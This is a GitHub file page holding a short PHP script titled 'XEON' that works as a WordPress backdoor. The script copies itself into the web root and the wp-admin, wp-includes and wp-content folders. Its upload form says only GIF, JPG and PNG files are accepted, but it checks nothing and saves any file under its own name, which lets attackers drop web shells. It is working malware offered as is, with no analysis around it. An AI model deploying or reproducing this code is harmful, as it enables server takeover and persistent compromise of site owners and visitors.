-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathkevindepzai.txt
49 lines (42 loc) · 1.63 KB
/
kevindepzai.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
session_start();
// Function to copy the script to the specified directory
function copy_script_to_directory($directory) {
$script_path = __FILE__;
$script_name = basename($script_path);
// Check if the directory exists and if the script is not already in the directory
if (is_dir($directory) && $script_path !== $directory . '/' . $script_name) {
copy($script_path, $directory . '/' . $script_name);
}
}
// Directories to copy the script to
$directories = [
$_SERVER['DOCUMENT_ROOT'],
$_SERVER['DOCUMENT_ROOT'] . '/wp-admin',
$_SERVER['DOCUMENT_ROOT'] . '/wp-includes',
$_SERVER['DOCUMENT_ROOT'] . '/wp-content'
];
// Call the function to copy the script to each directory
foreach ($directories as $directory) {
copy_script_to_directory($directory);
}
if (isset($_POST['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit();
}
// Display the file upload form
echo '<b> XEON </b><br><em>Only GIF, JPG, and PNG files are allowed.</em><center>
<form method="post" target="_self" enctype="multipart/form-data">
<input type="file" size="20" name="file_jpg" />
<input type="submit" value="upload" />
</form>
<form method="post" action="">
<input type="submit" name="logout" value="Logout">
</form>
</center></td></tr> </table><br>';
if (!empty($_FILES['file_jpg'])) {
move_uploaded_file($_FILES['file_jpg']['tmp_name'], $_FILES['file_jpg']['name']);
echo "<script>alert('Upload Done');</script><b>Uploaded !!!</b><br>name : " . $_FILES['file_jpg']['name'] . "<br>size : " . $_FILES['file_jpg']['size'] . "<br>type : " . $_FILES['file_jpg']['type'];
}
?>